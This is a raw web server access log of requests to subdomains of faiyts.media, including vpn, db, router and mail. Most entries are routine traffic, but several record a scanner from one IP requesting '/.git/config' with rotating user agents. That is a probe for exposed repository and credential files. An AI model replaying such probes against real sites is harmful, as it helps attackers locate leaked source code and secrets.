-0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +107.146.73.167 - - [01/Jun/2024:13:36:49 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:49 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +136.243.111.28 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +168.119.12.240 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +168.119.12.240 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.65 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +216.102.0.15 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +176.9.99.241 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.65 - - [01/Jun/2024:13:36:50 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:50 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +104.164.173.60 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +195.211.77.140 - - [01/Jun/2024:13:36:50 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:50 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +168.119.12.240 - - [01/Jun/2024:13:36:50 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +195.211.77.140 - - [01/Jun/2024:13:36:50 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +216.102.0.15 - - [01/Jun/2024:13:36:50 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 400 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:36:51 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +195.211.77.140 - - [01/Jun/2024:13:36:51 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:36:51 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +88.99.103.122 - - [01/Jun/2024:13:36:51 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:36:52 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.140.11 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.60 - - [01/Jun/2024:13:36:52 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +72.190.248.171 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +176.9.99.241 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +88.99.103.122 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.99.241 - - [01/Jun/2024:13:36:52 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.140.11 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +68.184.240.40 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +38.83.165.208 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +68.184.240.40 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +38.83.165.208 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.51 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.11 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.51 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.41 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.224 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.236 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.11 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.41 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.235 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.224 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.45 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.125 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.157 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.226 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.236 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.190.248.171 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.174 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.52 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.38 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.174 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.235 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.38 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.57 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.84 - - [01/Jun/2024:13:36:53 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.45 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.226 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.125 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.157 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.52 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.57 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.84 - - [01/Jun/2024:13:36:53 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +136.243.111.28 - - [01/Jun/2024:13:36:54 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.2 - - [01/Jun/2024:13:36:54 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.157 - - [01/Jun/2024:13:36:54 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:36:54 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:36:54 -0500] "GET /.git/config HTTP/2.0" 302 0 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" +88.99.103.122 - - [01/Jun/2024:13:36:55 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:36:55 -0500] "GET /login?returnUrl=%2F.git%2Fconfig HTTP/2.0" 200 3177 "https://movies.faiyts.media/.git/config" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" +88.99.103.122 - - [01/Jun/2024:13:36:55 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +216.82.61.80 - - [01/Jun/2024:13:36:56 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:56 -0500] "GET /.git/config HTTP/2.0" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" +216.82.61.80 - - [01/Jun/2024:13:36:56 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +176.9.99.241 - - [01/Jun/2024:13:36:56 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:36:56 -0500] "GET /login?returnUrl=%2F.git%2Fconfig HTTP/2.0" 200 3152 "https://music.faiyts.media/.git/config" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:36:56 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +168.119.12.240 - - [01/Jun/2024:13:36:56 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.140.11 - - [01/Jun/2024:13:36:56 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:36:57 -0500] "GET /.git/config HTTP/2.0" 404 2176 "-" "Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20100101 Firefox/56.0" +88.99.103.122 - - [01/Jun/2024:13:36:57 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +88.99.103.122 - - [01/Jun/2024:13:36:57 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.99.241 - - [01/Jun/2024:13:36:57 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.99.241 - - [01/Jun/2024:13:36:57 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:36:58 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4427.3 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:36:58 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +88.99.103.122 - - [01/Jun/2024:13:36:58 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +136.243.111.28 - - [01/Jun/2024:13:36:58 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.98 - - [01/Jun/2024:13:36:59 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.98 - - [01/Jun/2024:13:36:59 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:37:00 -0500] "GET /g/home HTTP/1.1" 200 4562 "-" "Uptime-Kuma/1.23.13" +195.211.77.142 - - [01/Jun/2024:13:37:00 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.80.103.241 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.116 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.62 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.62 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.185 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.79 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.195 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.116 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +76.31.171.31 